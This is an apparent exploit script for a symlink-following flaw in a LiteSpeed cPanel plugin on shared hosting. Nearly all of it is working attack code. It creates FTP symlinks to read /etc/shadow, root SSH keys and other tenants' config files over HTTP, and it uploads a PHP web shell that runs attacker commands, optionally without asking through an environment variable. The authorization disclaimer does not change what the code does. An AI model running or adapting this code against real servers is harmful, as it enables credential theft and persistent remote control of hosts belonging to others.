#!/usr/bin/env python3
"""
CVE-2026-54420 - LiteSpeed cPanel Plugin Symlink Privilege Escalation
=======================================================================
A vulnerability in LiteSpeed cPanel Plugin before 2.4.8 and WHM Plugin before
5.3.2.0 mishandles symlinks provided by a user with FTP or web shell access
on a shared hosting server running CloudLinux/CageFS.

CWE-61: UNIX Symbolic Link (Symlink) Following
CVSS: 8.5 (HIGH) | Exploitation confirmed in wild (May 2026)
CISA KEV: Added 2026-06-15 | Due 2026-06-18

Author: Security Research
Disclaimer: For authorized security testing and educational purposes only.
"""

import argparse
import requests
import sys
import os
import time
import base64
from urllib.parse import urlparse
from ftplib import FTP
from ftplib import error_perm
import socket
import hashlib
import json
from datetime import datetime

# ANSI Colors
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"


class LiteSpeedSymlinkExploit:
    """Exploit for CVE-2026-54420 - Symlink following in LiteSpeed cPanel Plugin"""
    
    def __init__(self, target, username=None, password=None, ftp_port=21):
        self.target = target
        self.username = username
        self.password = password
        self.ftp_port = ftp_port
        self.ftp = None
        self.webshell_url = None
        self.web_root = "/home/username/public_html"
        self.symlinks_created = []
        self.vulnerable = False
        
    def connect_ftp(self):
        """Establish FTP connection to target server"""
        try:
            print(f"{B}[*] Connecting to FTP: {self.target}:{self.ftp_port}{RESET}")
            
            if self.ftp_port == 21:
                self.ftp = FTP(self.target)
            else:
                self.ftp = FTP()
                self.ftp.connect(self.target, self.ftp_port)
            
            if self.username and self.password:
                self.ftp.login(self.username, self.password)
            else:
                # Try anonymous login
                self.ftp.login()
            
            print(f"{G}[+] FTP login successful as {self.username or 'anonymous'}{RESET}")
            
            # Get current working directory
            cwd = self.ftp.pwd()
            print(f"{B}[*] FTP CWD: {cwd}{RESET}")
            
            # Determine web root (common patterns)
            self._detect_web_root()
            
            return True
            
        except Exception as e:
            print(f"{R}[-] FTP connection failed: {e}{RESET}")
            return False
    
    def _detect_web_root(self):
        """Detect web root directory based on FTP path"""
        try:
            cwd = self.ftp.pwd()
            
            # Common patterns
            patterns = [
                ("/home/", "/public_html"),
                ("/home/", "/www"),
                ("/home/", "/web"),
                ("/var/www/", "/html"),
                ("/srv/www/", "/htdocs"),
                ("/home/", "/public_ftp")
            ]
            
            for prefix, suffix in patterns:
                if prefix in cwd:
                    self.web_root = cwd
                    break
            
            # If username is known, try to build path
            if self.username:
                home_path = f"/home/{self.username}"
                try:
                    self.ftp.cwd(home_path)
                    self.web_root = home_path
                    print(f"{B}[*] Web root detected: {self.web_root}{RESET}")
                except:
                    pass
                
        except Exception:
            pass
    
    def create_symlink(self, target_path, link_name):
        """
        Create symlink via FTP
        Supports multiple FTP server types (ProFTPD, vsftpd, Pure-FTPd)
        """
        try:
            # Try different symlink commands
            commands = [
                f'SITE SYMLINK "{target_path}" "{link_name}"',
                f'SITE SYMLINK {target_path} {link_name}',
                f'SYMLINK {target_path} {link_name}',
                f'RNFR {target_path}\r\nRNTO {link_name}',
                f'SITE CP {target_path} {link_name}',
            ]
            
            for cmd in commands:
                try:
                    response = self.ftp.sendcmd(cmd)
                    if '2' in response[:1]:
                        self.symlinks_created.append(link_name)
                        print(f"{G}[+] Symlink created: {link_name} -> {target_path}{RESET}")
                        return True
                except error_perm:
                    continue
            
            # Alternative: Try using NLST to check if target exists
            try:
                self.ftp.voidcmd(f'RNFR {target_path}')
                self.ftp.voidcmd(f'RNTO {link_name}')
                self.symlinks_created.append(link_name)
                print(f"{G}[+] Rename-based symlink created: {link_name} -> {target_path}{RESET}")
                return True
            except:
                pass
            
            return False
            
        except Exception as e:
            print(f"{Y}[-] Symlink creation failed: {e}{RESET}")
            return False
    
    def read_symlink_via_http(self, link_name):
        """Attempt to read symlink content via HTTP"""
        try:
            # Try common web paths
            base_urls = [
                f"http://{self.target}/{link_name}",
                f"http://{self.target}/{os.path.basename(link_name)}",
                f"https://{self.target}/{link_name}",
                f"http://www.{self.target}/{link_name}",
                f"http://{self.target}/~user/{link_name}"
            ]
            
            for url in base_urls:
                try:
                    r = requests.get(url, timeout=10, verify=False)
                    if r.status_code == 200:
                        print(f"{G}[+] Read symlink via HTTP: {url}{RESET}")
                        print(f"{G}[+] Content length: {len(r.text)} bytes{RESET}")
                        return r.text
                except:
                    continue
            
            return None
            
        except Exception as e:
            print(f"{Y}[-] HTTP read failed: {e}{RESET}")
            return None
    
    def webshell_upload(self, shell_content=None):
        """Upload a web shell via FTP for persistent access"""
        if not shell_content:
            shell_content = """<?php
// CVE-2026-54420 Web Shell
// USE ONLY WITH PROPER AUTHORIZATION
if(isset($_GET['cmd'])) {
    echo '<pre>';
    system($_GET['cmd']);
    echo '</pre>';
}
if(isset($_POST['cmd'])) {
    echo '<pre>';
    system($_POST['cmd']);
    echo '</pre>';
}
?>"""
        
        try:
            # Create a file in the web root
            shell_name = f"shell_{int(time.time())}.php"
            temp_file = f"/tmp/{shell_name}"
            
            # Write shell content to temp file
            with open(temp_file, 'w') as f:
                f.write(shell_content)
            
            # Upload via FTP
            with open(temp_file, 'rb') as f:
                self.ftp.storbinary(f'STOR {shell_name}', f)
            
            os.remove(temp_file)
            
            self.webshell_url = f"http://{self.target}/{shell_name}"
            print(f"{G}[+] Web shell uploaded: {self.webshell_url}{RESET}")
            print(f"{G}[+] Use: {self.webshell_url}?cmd=id{RESET}")
            return True
            
        except Exception as e:
            print(f"{R}[-] Web shell upload failed: {e}{RESET}")
            return False
    
    def enumerate_vulnerable_files(self):
        """Enumerate common sensitive files to read via symlink"""
        
        sensitive_files = [
            # System files
            "/etc/passwd",
            "/etc/shadow",
            "/etc/hosts",
            "/etc/group",
            "/etc/hostname",
            "/etc/issue",
            "/proc/self/environ",
            "/proc/cpuinfo",
            "/proc/meminfo",
            
            # Web server configs
            "/etc/lsws/conf/httpd_config.conf",
            "/etc/lsws/sites/",
            "/usr/local/lsws/conf/",
            "/etc/apache2/sites-available/",
            "/etc/nginx/sites-available/",
            
            # Database configs
            "/var/lib/mysql/mysql/user.MYD",
            "/home/otheruser/config.php",
            "/home/otheruser/wp-config.php",
            "/home/otheruser/configuration.php",
            
            # LiteSpeed specific
            "/usr/local/lsws/conf/htpasswd",
            "/usr/local/lsws/conf/htaccess",
            "/usr/local/lsws/admin/",
            
            # CloudLinux/CageFS
            "/etc/cagefs/cagefs.users",
            "/etc/cagefs/cagefs.mp",
            "/var/cagefs/",
            
            # SSH keys
            "/root/.ssh/id_rsa",
            "/root/.ssh/authorized_keys",
            "/home/*/.ssh/id_rsa",
            "/home/*/.ssh/authorized_keys",
        ]
        
        readable_files = []
        
        print(f"{B}[*] Attempting to read sensitive files via symlink{RESET}")
        
        for target_file in sensitive_files:
            link_name = f"read_{os.path.basename(target_file)}_{int(time.time()) % 10000}.txt"
            link_name = link_name.replace('*', 'star')
            
            if self.create_symlink(target_file, link_name):
                content = self.read_symlink_via_http(link_name)
                if content and len(content) > 10:
                    readable_files.append({
                        "file": target_file,
                        "content": content[:500],
                        "length": len(content)
                    })
                    print(f"{G}[+] SUCCESS: Read {target_file} ({len(content)} bytes){RESET}")
                    
                    # Show preview
                    lines = content.split('\n')[:10]
                    for line in lines:
                        if line.strip():
                            print(f"    {line[:100]}")
                    
                    self.vulnerable = True
                else:
                    print(f"{Y}[-] Could not read {target_file}{RESET}")
        
        return readable_files
    
    def check_existing_symlinks(self):
        """Check if there are already symlinks in the web directory"""
        try:
            files = self.ftp.nlst()
            symlinks = []
            
            for f in files:
                try:
                    # Try to get file info
                    response = self.ftp.sendcmd(f'STAT {f}')
                    if '->' in response:
                        symlinks.append(f)
                        print(f"{Y}[*] Existing symlink found: {f}{RESET}")
                except:
                    continue
            
            return symlinks
        except:
            return []
    
    def cleanup(self):
        """Remove created symlinks and uploaded shells"""
        print(f"{B}[*] Cleaning up...{RESET}")
        
        for link in self.symlinks_created:
            try:
                self.ftp.delete(link)
                print(f"{G}[+] Removed: {link}{RESET}")
            except:
                pass
        
        # Also try to remove web shell
        if self.webshell_url:
            shell_name = self.webshell_url.split('/')[-1]
            try:
                self.ftp.delete(shell_name)
                print(f"{G}[+] Removed web shell: {shell_name}{RESET}")
            except:
                pass
        
        if self.ftp:
            self.ftp.quit()
    
    def exploit_full(self, target_file=None):
        """Full exploit chain"""
        print(f"\n{B}{BOLD}╔═══════════════════════════════════════════════════════════════╗{RESET}")
        print(f"{B}{BOLD}║  CVE-2026-54420 - LiteSpeed Symlink Privilege Escalation   ║{RESET}")
        print(f"{B}{BOLD}║  CVSS: 8.5 (HIGH) | CISA KEV: 2026-06-15                   ║{RESET}")
        print(f"{B}{BOLD}╚═══════════════════════════════════════════════════════════════╝{RESET}")
        print()
        
        # Step 1: Connect via FTP
        if not self.connect_ftp():
            print(f"{R}[!] FTP connection required for this exploit{RESET}")
            return False
        
        # Step 2: Check existing symlinks
        existing = self.check_existing_symlinks()
        if existing:
            print(f"{Y}[*] Found {len(existing)} existing symlinks{RESET}")
        
        # Step 3: Enumerate vulnerable files
        if target_file:
            link_name = f"read_{os.path.basename(target_file)}_{int(time.time()) % 10000}.txt"
            if self.create_symlink(target_file, link_name):
                content = self.read_symlink_via_http(link_name)
                if content:
                    print(f"{G}[+] Read target file: {target_file}{RESET}")
                    print(content)
                    self.vulnerable = True
        else:
            # Auto-enumerate common targets
            readable = self.enumerate_vulnerable_files()
        
        # Step 4: Determine vulnerability
        if self.vulnerable:
            print(f"\n{R}{BOLD}╔═══════════════════════════════════════════════════════════════╗{RESET}")
            print(f"{R}{BOLD}║  [!!!!!] SERVER IS VULNERABLE TO CVE-2026-54420            ║{RESET}")
            print(f"{R}{BOLD}║  Symlink following allows file read outside designated dir  ║{RESET}")
            print(f"{R}{BOLD}╚═══════════════════════════════════════════════════════════════╝{RESET}")
            
            # Offer to upload web shell
            print(f"{Y}[?] Do you want to upload a web shell for persistent access?{RESET}")
            # Auto-upload if running in batch mode
            if os.environ.get('AUTO_SHELL', 'false').lower() == 'true':
                self.webshell_upload()
        else:
            print(f"\n{G}{BOLD}[✓] Server does not appear vulnerable to CVE-2026-54420{RESET}")
            print(f"{Y}[*] Note: This could be because:{RESET}")
            print(f"{Y}    1. The server is patched (>= 2.4.8 / 5.3.2.0){RESET}")
            print(f"{Y}    2. Symlink creation is disabled in FTP{RESET}")
            print(f"{Y}    3. HTTP access to symlinks is restricted{RESET}")
            print(f"{Y}    4. CloudLinux/CageFS is properly configured{RESET}")
        
        return self.vulnerable


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-54420 - LiteSpeed cPanel Plugin Symlink Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic exploit with FTP credentials
  %(prog)s -t example.com -u ftpuser -p ftppass
  
  # Read specific file
  %(prog)s -t example.com -u ftpuser -p ftppass --file /etc/passwd
  
  # Upload web shell
  %(prog)s -t example.com -u ftpuser -p ftppass --webshell
  
  # Full enumeration
  %(prog)s -t example.com -u ftpuser -p ftppass --enum --verbose
        """
    )
    
    parser.add_argument("-t", "--target", required=True, help="Target domain or IP")
    parser.add_argument("-u", "--username", help="FTP username")
    parser.add_argument("-p", "--password", help="FTP password")
    parser.add_argument("--ftp-port", type=int, default=21, help="FTP port (default: 21)")
    parser.add_argument("--file", help="Specific file to read via symlink")
    parser.add_argument("--enum", action="store_true", help="Enumerate common sensitive files")
    parser.add_argument("--webshell", action="store_true", help="Upload web shell after exploitation")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--cleanup", action="store_true", help="Remove created symlinks after exploit")
    
    args = parser.parse_args()
    
    exploit = LiteSpeedSymlinkExploit(
        target=args.target,
        username=args.username,
        password=args.password,
        ftp_port=args.ftp_port
    )
    
    try:
        # Run exploit
        success = exploit.exploit_full(target_file=args.file)
        
        # Auto-enumerate if requested
        if args.enum and success:
            print(f"\n{Y}[*] Running additional enumeration...{RESET}")
            exploit.enumerate_vulnerable_files()
        
        # Upload web shell if requested
        if args.webshell and success:
            exploit.webshell_upload()
        
        # Clean up
        if args.cleanup or not success:
            exploit.cleanup()
        
        # Print summary
        print(f"\n{B}╔═══════════════════════════════════════════════════════════════╗{RESET}")
        print(f"{B}║  SCAN COMPLETE                                                ║{RESET}")
        print(f"{B}╠═══════════════════════════════════════════════════════════════╣{RESET}")
        
        if success:
            print(f"{R}║  VULNERABLE: CVE-2026-54420 confirmed                        ║{RESET}")
            print(f"{R}║  Apply mitigation: Update to LiteSpeed cPanel Plugin 2.4.8+   ║{RESET}")
        else:
            print(f"{G}║  NOT VULNERABLE (or exploitation conditions not met)          ║{RESET}")
        
        print(f"{B}╚═══════════════════════════════════════════════════════════════╝{RESET}")
        print(f"\n{B}[*] Reference: https://www.cisa.gov/known-exploited-vulnerabilities-catalog{RESET}")
        print(f"{B}[*] Due Date: 2026-06-18{RESET}")
        
    except KeyboardInterrupt:
        print(f"\n{Y}[!] Interrupted by user{RESET}")
        exploit.cleanup()
    except Exception as e:
        print(f"{R}[!] Error: {e}{RESET}")
        exploit.cleanup()
        sys.exit(1)


if __name__ == "__main__":
    main()